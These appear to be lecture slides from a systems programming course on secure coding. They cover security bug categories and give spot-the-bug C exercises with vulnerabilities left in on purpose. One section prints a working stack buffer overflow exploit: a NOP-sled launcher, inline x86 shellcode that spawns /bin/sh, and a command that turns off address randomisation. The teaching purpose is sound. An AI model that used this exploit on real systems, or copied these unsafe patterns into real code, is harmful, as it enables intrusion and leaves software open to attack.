# COMP 2355 Introduction to Systems Programming

Christian Grothoff
christian@grothoff.org

http://grothoff.org/christian/

# Today: Secure Coding

- What could go wrong?
- Major Security Bug Categories

# What is a Security Bug?

A bug that allows...

- ... arbitrary code execution
- ... bypassing data access restrictions
- ... denial of service to legitimate users
- ... unexpected resource consumption

# What is a Security Bug?

A bug that allows...

- ... arbitrary code execution
- ... bypassing data access restrictions
- ... denial of service to legitimate users
- ... unexpected resource consumption

$\Rightarrow$ Almost any bug can be a security bug!

# Major Security Bug Categories

- Memory Corruption
- Arithmetic overflows
- Data races
- SQL injection
- Cross-site scripting

# Minor Security Bugs

- Memory leaks
- Socket/file-descriptor leaks
- Excessive CPU consumption
- Excessive disk/IO consumption
- Segmentation faults due to NULL dereference

# Memory Corruption

- Applies only to certain languages
- Hard to find
- May allow arbitrary code execution

# Arithmetic overflows

- Applies to most languages
- Even harder to find
- Can cause bypassing of access restrictions and DoS
- Unlikely to directly allow arbitrary code execution
- Could be used to trigger memory corruption

# Types of Memory Corruption Bugs

- Buffer Overflow
- Double-free
- Use after free
- Missing string termination (`strncpy` anyone?)
- Use of "uninitialized" data

# Buffer Overflows: The Bug

```
void func(char *str) {
  char buffer[4];
  printf("%p\n", &buffer);
  strcpy(buffer,str);                }
int main(int argc, char** argv) {
  func(argv[1]);
  printf("This is the next instruction\n");
  return 0;
}
```

# Buffer Overflows: The Exploit (1/5)

- Need to implement exploit code in assembly

$\Rightarrow$ Let the C compiler do it for you!

- `gcc -S filename.c`
- `(gdb) disassemble dup2`
- `www.metasploit.com` shellcode database

# Buffer Overflows: The Exploit (2/5)

Problems that need to be overcome:

- Characters of value 0 in exploit code

$\Rightarrow$ find alternative assembly sequence

- Unknown absolute address of constants

$\Rightarrow$ use reletive CALL with absolute return left on stack)

- Absolute address of exploit code is uncertain

$\Rightarrow$ prefix code with sequence of NOPs

# Buffer Overflows: The Exploit (3/5)

```
#define BSIZE 48
#define PD (BSIZE + 28)
int main(int argc, char** argv) {
  char s[PD+1];
  memset(s, 0x90, PD); s[PD] = '\0';
  ((void**)&s[12])[0]=(void*)0xbffff3f0+20;
  memcpy(&s[PD - BSIZE], &badness, BSIZE);
  execl("vulnerable", "vulnerable", s, NULL);
  return 0;
}
```

# Buffer Overflows: The Exploit (4/5)

```
static void badness() {
__asm__(
       "jmp    TARGET          \n"
       "HOME:                  \n"
       "popl   %esi            \n\t"
       "movl   %esi,0x8(%esi)  \n\t"
       "xorl   %eax,%eax       \n\t"
       "movb   %eax,0x7(%esi)  \n\t"
       "movl   %eax,0xc(%esi)  \n\t"
       "movb   $0xb,%al        \n\t"
       "movl   %esi,%ebx       \n\t"
       "leal   0x8(%esi),%ecx  \n\t"
       "leal   0xc(%esi),%edx  \n\t"
       "int    $0x80           \n\t"
       "xorl   %ebx,%ebx       \n\t"
       "movl   %ebx,%eax       \n\t"
       "inc    %eax            \n\t"
       "int    $0x80           \n"
       "TARGET:                \n"
       "call   HOME            \n\t"
       ".string \"/bin/sh\"");          }
```

# Buffer Overflows: The Exploit (5/5)

Good candidates for SVR4 calls causing overflows are:

- strcat, strcpy
- sprintf. vsprintf
- scanf (with %s)
- gets

# The Fix: PAX/Linux 2.6

- Randomize start of stack
- Randomize addresses returned by `mmap`

$\Rightarrow$ Hard to predict offset of code

However, randomization is limited on 32-bit machines!

# Disabling Address Space Randomization

```
# echo 0 > /proc/sys/kernel/randomize_va_space
```

You may want to do this if you want to develop simple buffer overflow exploits on Linux 2.6!

Helpful gdb commands:

- `(gdb) si`
- `(gdb) x/10i $pc`

# Circumventing the Fix

- Could be possible to use larger exploit buffer with more NOPs to increase chances of success
- Can still use overflow to corrupt program data
- Can still use overflow for DoS
- Can still exploit Microsoft systems

$\Rightarrow$ Still a serious security hole!

# Summary

- Most bugs can be security issues
- Languages and operating systems can help

# Questions

?

# Exercises: spot the bug!

The following exercises are from

`http://community.core-sdi.com/ gera/InsecureProgramming/`

# Exercise: spot the bug!

```
int main() {
  int cookie;
  char buf[80];

  printf("buf: %08x cookie: %08x\n",
         &buf, &cookie);
  gets(buf);
  if (cookie == 0x41424344)
    printf("you win!\n");
}
```

# Exercise: spot the bug!

```
int main(int argv,char **argc) {
  char buf[256];

  strcpy(buf,argc[1]);
}
```

# Exercise: spot the bug!

```
int main(int argv,char **argc) {
        printf(argc[1]);
        while(1);
}
```

# Exercise: spot the bug!

```
char *read_it(char *msg) {
    char buf[128];
    int count;
    buf[read(0,buf,sizeof buf)]=0;
    return strdup(buf);
}
int main(int argv, char **argc) {
    char *msg = malloc(1000);
    snprintf(msg,1000,"User: %s",read_it(msg));
}
```

# Exercise: spot the bug!

```
#define MAX_SIZE 80
unsigned int atoul(char *str) {
  unsigned int answer=0;
  for (;*str && isdigit(*str);
    answer *= 10, answer += *str++-'0');
  return answer;  }
int main(int argv, char **argc) {
  char buf[MAX_SIZE],*pbuf=buf;
  int count = atoul(argc[1]);
  if (count >= MAX_SIZE) count = MAX_SIZE-1;
  while (count--) *pbuf++=getchar();
  *pbuf=0;  }
```